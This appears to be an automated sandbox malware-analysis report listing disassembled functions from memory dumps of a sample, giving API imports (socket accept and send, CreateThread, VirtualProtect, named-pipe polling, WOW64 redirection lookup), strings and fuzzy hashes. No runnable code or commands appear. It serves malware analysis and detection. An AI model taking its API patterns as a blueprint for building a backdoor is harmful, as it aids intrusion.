Instruction ID: 2d2c7834f9caefcc817d033ca80677b80191b9521e3762187490dc3108372e17
Opcode Fuzzy Hash: 667aabc9b9536ce3034975af6a8499c6cf0a73ba4ecc93c21e81ad6850c911ed
Instruction Fuzzy Hash: 51D0C75075160581FE199B91F9583E83368AB59B61F885535C91F06372EF2CC599C340

Function 009A1350 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009A1360
GetProcAddress.KERNEL32 ref: 009A1370

Strings

Wow64DisableWow64FsRedirection, xrefs: 009A1366
kernel32, xrefs: 009A1359

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 1646373207-736604160
Opcode ID: fbbcf69949dc4a765985351bea2d0c18cfeb49881c2d8615ffc084255ee576bd
Instruction ID: e3c192f9c84eda8b18ce562e3d0ec7383db64ed2905f3bdc43c6a6f76214f68e
Opcode Fuzzy Hash: fbbcf69949dc4a765985351bea2d0c18cfeb49881c2d8615ffc084255ee576bd
Instruction Fuzzy Hash: 0BD0C75075160581FF199B91F9943E4336CEB59BA1F485535C91F06371DF2CC599C340

Function 0355A52B Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0355A54E

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

malloc.LIBCMT ref: 0355A55C

Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A703
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A708

malloc.LIBCMT ref: 0355A57E
_snprintf.LIBCMT ref: 0355A599

Part of subcall function 0355AA23: _errno.LIBCMT ref: 0355AA5A
Part of subcall function 0355AA23: _invalid_parameter_noinfo.LIBCMT ref: 0355AA65

malloc.LIBCMT ref: 0355A5B4

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$_invalid_parameter_noinfo_snprintf
String ID:
API String ID: 2026495703-0
Opcode ID: 9d156e3cefeacdd739c12abb0c3551306cdb4cd07bab5fe76b50e9a5adbf6d85
Instruction ID: 740bbbfec39cf4916b011488b0ec0a9de5ddf598d703cbda48ea1602da6bec72
Opcode Fuzzy Hash: 9d156e3cefeacdd739c12abb0c3551306cdb4cd07bab5fe76b50e9a5adbf6d85
Instruction Fuzzy Hash: 0B112830A1CF094FD7A9EF6CA45562976E1FBCC710F54465EE48AC32A5EA38AC4187C2

Function 0355BA13 Relevance: 6.2, APIs: 4, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0355BA4B

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_invalid_parameter_noinfo.LIBCMT ref: 0355BA56
_flush.LIBCMT ref: 0355BB08
_fileno.LIBCMT ref: 0355BB29

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 634798775-0
Opcode ID: d9a7cbc57c08e93ea4e26a3c7604e2752fe338a7cd3052b495f505ff3fc04027
Instruction ID: 283171f7cdafc90301dabfdee46fa5d7c71b39d1760f5362c7451cc4526ac7aa
Opcode Fuzzy Hash: d9a7cbc57c08e93ea4e26a3c7604e2752fe338a7cd3052b495f505ff3fc04027
Instruction Fuzzy Hash: D9410D30218F0D4BDB2CDA6DB46D235B6D1F799321718066FFC9AC31B5E9A0F95242C6

Function 03540517 Relevance: 6.1, APIs: 4, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 0354055E
clock.LIBCMT ref: 0354056B
clock.LIBCMT ref: 03540574
clock.LIBCMT ref: 03540581

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: c0a40aaec8f37a8735c214560a9d147e859d58f7e4e64c7536be45b4d64e88a7
Instruction ID: ec22468a0e2324d90df04207d61e6a93d30387af97ca6ae30ef974f1ebf300d7
Opcode Fuzzy Hash: c0a40aaec8f37a8735c214560a9d147e859d58f7e4e64c7536be45b4d64e88a7
Instruction Fuzzy Hash: 4811B4B580CB1D4F973CED9CB481276F7E4FA99260F29062ED9CA83162F950D84286D2

Function 0356A91F Relevance: 6.1, APIs: 4, Instructions: 84stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0356A943

Part of subcall function 0355D667: _getptd.LIBCMT ref: 0355D67D
Part of subcall function 0355D667: __updatetlocinfo.LIBCMT ref: 0355D6B2
Part of subcall function 0355D667: __updatetmbcinfo.LIBCMT ref: 0355D6D9

_errno.LIBCMT ref: 0356A94F

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_invalid_parameter_noinfo.LIBCMT ref: 0356A95A
strchr.LIBCMT ref: 0356A970

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: e73a64bc40bbff2a8f0215fd328a69f3920fe490f54b7fbe8d2d413a192876cd
Instruction ID: 39f474755e8021a248b230356a47ab99249894b6b116c357bee09ffa603ff380
Opcode Fuzzy Hash: e73a64bc40bbff2a8f0215fd328a69f3920fe490f54b7fbe8d2d413a192876cd
Instruction Fuzzy Hash: 5D2180E061CB794FC754E728A0D423676F1FB89291B2A06AEE0DBD71B5D924C442C392

Function 0355B4D3 Relevance: 6.1, APIs: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 0355B4F0

Part of subcall function 0355F727: _FindPESection.LIBCMT ref: 0355F750

_initp_misc_cfltcvt_tab.LIBCMT ref: 0355B501
_initterm_e.LIBCMT ref: 0355B514
_IsNonwritableInCurrentImage.LIBCMT ref: 0355B55D

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable$FindSection_initp_misc_cfltcvt_tab_initterm_e
String ID:
API String ID: 1991439119-0
Opcode ID: 2552c9ef44d90416ddedbaa5506d907db74c59832b5c0af08c42db9a1dc968fc
Instruction ID: 30c1ce473628ea07c2d6ef5f7610fac32fe259210dda3f5e964c1760440cf5ab
Opcode Fuzzy Hash: 2552c9ef44d90416ddedbaa5506d907db74c59832b5c0af08c42db9a1dc968fc
Instruction Fuzzy Hash: 76113031210A0ACEE719EF24FCF86AA7365F754340F58492AA802C6074FF78A985C685

Function 009910D0 Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 00991117
clock.LIBCMT ref: 00991124
clock.LIBCMT ref: 0099112D
clock.LIBCMT ref: 0099113A

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: c0a40aaec8f37a8735c214560a9d147e859d58f7e4e64c7536be45b4d64e88a7
Instruction ID: 7ff71f263b9e685ee5d004602cc4719b26016d26ca3cb5db3dca6380744b9d14
Opcode Fuzzy Hash: c0a40aaec8f37a8735c214560a9d147e859d58f7e4e64c7536be45b4d64e88a7
Instruction Fuzzy Hash: 50116B3260875665AB35EEBA6980177F654F7843E4F190521EF9443705EA74C8C2C701

Function 009BB4D8 Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 009BB4FC

Part of subcall function 009AE220: _getptd.LIBCMT ref: 009AE236
Part of subcall function 009AE220: __updatetlocinfo.LIBCMT ref: 009AE26B
Part of subcall function 009AE220: __updatetmbcinfo.LIBCMT ref: 009AE292

_errno.LIBCMT ref: 009BB508

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_invalid_parameter_noinfo.LIBCMT ref: 009BB513
strchr.LIBCMT ref: 009BB529

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: e73a64bc40bbff2a8f0215fd328a69f3920fe490f54b7fbe8d2d413a192876cd
Instruction ID: e0fbab162461d41c9e6a9cda06e0f3bb2e4d55264b71c95b64184d4ac6fdfa08
Opcode Fuzzy Hash: e73a64bc40bbff2a8f0215fd328a69f3920fe490f54b7fbe8d2d413a192876cd
Instruction Fuzzy Hash: DA1126636082A081CB319616A2502BEB794E380BF4B5C4521FA970BBD5CBECC841C752

Function 009AA324 Relevance: 6.0, APIs: 4, Instructions: 41threadsleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0099D0D8: VirtualProtect.KERNEL32 ref: 0099D168

Part of subcall function 009AACF8: free.LIBCMT ref: 009AAD94
Part of subcall function 009AACF8: free.LIBCMT ref: 009AADA5

Sleep.KERNEL32 ref: 009AA367
ExitThread.KERNEL32 ref: 009AA371
CreateThread.KERNEL32 ref: 009AA396
ExitProcess.KERNEL32 ref: 009AA3B5

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ExitThreadfree$CreateProcessProtectSleepVirtual
String ID:
API String ID: 334832864-0
Opcode ID: b0c9434338f191774dad3a3bc8873c414334a7dcf96e742dbcc85d9feb61dd03
Instruction ID: c733d3f9594de9182c7c34d06d779acdbad8a5139455d5d25431c6a00f02c761
Opcode Fuzzy Hash: b0c9434338f191774dad3a3bc8873c414334a7dcf96e742dbcc85d9feb61dd03
Instruction Fuzzy Hash: CE01AD31A0464483FF6CAB29F59637E326EFBC5734F108A2AE65A066E5CF3DC4408345

Function 009AB054 Relevance: 6.0, APIs: 4, Instructions: 39networkCOMMON

Download Yara Rule

APIs

accept.WS2_32 ref: 009AB069
send.WS2_32 ref: 009AB0A7
send.WS2_32 ref: 009AB0BB
closesocket.WS2_32 ref: 009AB0CC

Part of subcall function 009AB190: closesocket.WS2_32 ref: 009AB19C
Part of subcall function 009AB190: free.LIBCMT ref: 009AB1A6
Part of subcall function 009AB190: free.LIBCMT ref: 009AB1AF
Part of subcall function 009AB190: free.LIBCMT ref: 009AB1B8

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$closesocketsend$accept
String ID:
API String ID: 47150829-0
Opcode ID: 2302a165cdef7cc09ef642e4ce3548a0388fbd4d973569beb06914d3a6b68fc5
Instruction ID: 83bae7427c417071773d9cbab07ac79401d3a9a94fd6ca98d943ed0641546432
Opcode Fuzzy Hash: 2302a165cdef7cc09ef642e4ce3548a0388fbd4d973569beb06914d3a6b68fc5
Instruction Fuzzy Hash: 68018F2530459481DB249F76FA9577A3321F78AFF8F045611EE6607B8ADF28C4408B80

Function 009A3B18 Relevance: 6.0, APIs: 4, Instructions: 34sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 009A3B2C
PeekNamedPipe.KERNEL32 ref: 009A3B51
Sleep.KERNEL32 ref: 009A3B67
GetTickCount.KERNEL32 ref: 009A3B6D

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 24ed3f8e0f689e66d14563056fce9734228b0b7ac3161939a24db8e0b7bcfd6a
Instruction ID: 4ca79ac41bb839cf8a1ec7e8cdd041bec7db3ff711f70340a90cefb2afb324f8
Opcode Fuzzy Hash: 24ed3f8e0f689e66d14563056fce9734228b0b7ac3161939a24db8e0b7bcfd6a
Instruction Fuzzy Hash: 35F0C831618B5086F7108B25F84432AB3AEE7C5B94F688534E74943A65DF3CC5818B54

Function 009A31D0 Relevance: 6.0, APIs: 4, Instructions: 32sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 009A31E9
PeekNamedPipe.KERNEL32 ref: 009A320E
Sleep.KERNEL32 ref: 009A3224
GetTickCount.KERNEL32 ref: 009A322A

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 2a447a1a196fe585755e7802e0ac48e0573567d8f0a00b20491c8c660c2fcfe5
Instruction ID: 60c02c3cbc1ccc96a152e7bdcaaacf4473ede0c9db198d2d62feeaf753de9ceb
Opcode Fuzzy Hash: 2a447a1a196fe585755e7802e0ac48e0573567d8f0a00b20491c8c660c2fcfe5
Instruction Fuzzy Hash: 39F0C832618A9186F7148B15F84431AB77DF7C5BE4F648520EB9542E35DF3CC591CB44

Function 009A5D58 Relevance: 6.0, APIs: 4, Instructions: 32memorythreadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32 ref: 009A5D76
GetProcessHeap.KERNEL32 ref: 009A5D7C
HeapAlloc.KERNEL32 ref: 009A5D8C
InitializeProcThreadAttributeList.KERNEL32 ref: 009A5DA7

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AttributeHeapInitializeListProcThread$AllocProcess
String ID:
API String ID: 1212816094-0
Opcode ID: 62263623e8ff9a03dfdac281dd069e3106b55080811b78c7820858d5affca705
Instruction ID: fafb107f3d1faf9702b8bad0f09347b758d323b42110f1266a015bd6a72ac8ba
Opcode Fuzzy Hash: 62263623e8ff9a03dfdac281dd069e3106b55080811b78c7820858d5affca705
Instruction Fuzzy Hash: A9F0BB22725A4083EB44CB75F4187DA72A5EB8DBA0F595439FA0B47759DF3CC484C600

Function 009AB190 Relevance: 6.0, APIs: 4, Instructions: 15COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 009AB19C
free.LIBCMT ref: 009AB1A6

Part of subcall function 009AB1E8: HeapFree.KERNEL32 ref: 009AB1FE
Part of subcall function 009AB1E8: _errno.LIBCMT ref: 009AB208
Part of subcall function 009AB1E8: GetLastError.KERNEL32 ref: 009AB210

free.LIBCMT ref: 009AB1AF
free.LIBCMT ref: 009AB1B8

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast_errnoclosesocket
String ID:
API String ID: 1525665891-0
Opcode ID: 313ab394c69fba967237909609d084426ad4e213068f2606add6450c422dc6b8
Instruction ID: d0d2d618ef3500370beb291518cfd79d1e33c41cf6056b643f3ec3eea2bc5e94
Opcode Fuzzy Hash: 313ab394c69fba967237909609d084426ad4e213068f2606add6450c422dc6b8
Instruction Fuzzy Hash: A0D0671261840581DB14AB72D8B223C2720E7DAF9CF540421EE1E9B266DF28C955D380

Function 00401FD0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMON

Download Yara Rule

Strings

Unknown pseudo relocation bit size %d., xrefs: 00402294
Unknown pseudo relocation protocol version %d., xrefs: 004022A8

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: 8caf0c066df89f6cee4c07a50155e792156557ee52966e310dcb16b3cca200fb
Instruction ID: 42e0c3400c77c9dd47adb4fdb8995eb2357067ceb312bbd9be83e7c2f840df7f
Opcode Fuzzy Hash: 8caf0c066df89f6cee4c07a50155e792156557ee52966e310dcb16b3cca200fb
Instruction Fuzzy Hash: 6A712272B10B9486DF10CF61DA0875A7761FB58BA8F58862ADF08377E8DB7DC540CA08

Function 0355922B Relevance: 5.4, APIs: 4, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0355929E
malloc.LIBCMT ref: 035594C2
malloc.LIBCMT ref: 035595C0

Part of subcall function 0355C8FB: _getptd.LIBCMT ref: 0355C91A

free.LIBCMT ref: 035595A8

Part of subcall function 0355A62F: _errno.LIBCMT ref: 0355A64F

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: malloc$_errno_getptdfree
String ID:
API String ID: 3172138858-0
Opcode ID: 33df26be159aca12d7d0b71fc111742376d265778d5d8216e679c52589a3f316
Instruction ID: ba72330bce6dc830a69f93c95034e47cb5cb990e292f2e89cccb529711697556
Opcode Fuzzy Hash: 33df26be159aca12d7d0b71fc111742376d265778d5d8216e679c52589a3f316
Instruction Fuzzy Hash: DEB1AF70528B49CFE769EB28E861A7833E1F789311764456FE84AC7270D77CA8438B81

Function 00401DC0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00401E69

Strings

Address %p has no image-section, xrefs: 00401DC0, 00401FA5
VirtualQuery failed for %d bytes at address %p, xrefs: 00401FBB

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1804819252-157664173
Opcode ID: 24b42db9420a0036ba5551ca2cf6389df1f73159e8ba1386f4a30517d06c5471
Instruction ID: 52aafb0f448170306d42bca5540912cc2139dda9d14def77d71a33c16101a6f6
Opcode Fuzzy Hash: 24b42db9420a0036ba5551ca2cf6389df1f73159e8ba1386f4a30517d06c5471
Instruction Fuzzy Hash: 4B31E3B3702A4195EF118F12EA4175A3761BB95BA4F49413AEF4C273A1EF3CD486C788

Function 0355AC47 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0355AC98

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_invalid_parameter_noinfo.LIBCMT ref: 0355ACA3

Strings

B, xrefs: 0355ACCF

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: d81cd18daed7324077352a26b73286590cea42c1c2305b4db55e814308682461
Instruction ID: 0dffaed50f7c7e218bae390664ea33028f3d8dea2833db06779721a0d13562ee
Opcode Fuzzy Hash: d81cd18daed7324077352a26b73286590cea42c1c2305b4db55e814308682461
Instruction Fuzzy Hash: CC11C130228B088FC744EF1CE485765B3E1FB98324F1047AEB419C72A0CB74D940CB82

Function 00401C40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
Unknown error, xrefs: 00401D2C

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: d6c75893a8b8cdba1cdccd7648c7c79805f69453ca37c984926281bf3413687d
Instruction ID: 8762e6e2ae6541d4c7c6524eaf70c560080aac858bcbb5099d5ba83032827fc6
Opcode Fuzzy Hash: d6c75893a8b8cdba1cdccd7648c7c79805f69453ca37c984926281bf3413687d
Instruction Fuzzy Hash: 1E016163D18F88C2D6018F18E8003AB7331FB6E749F259316EB8C3A565DB79D592C704

Function 00401CE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

Argument domain error (DOMAIN), xrefs: 00401CE0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
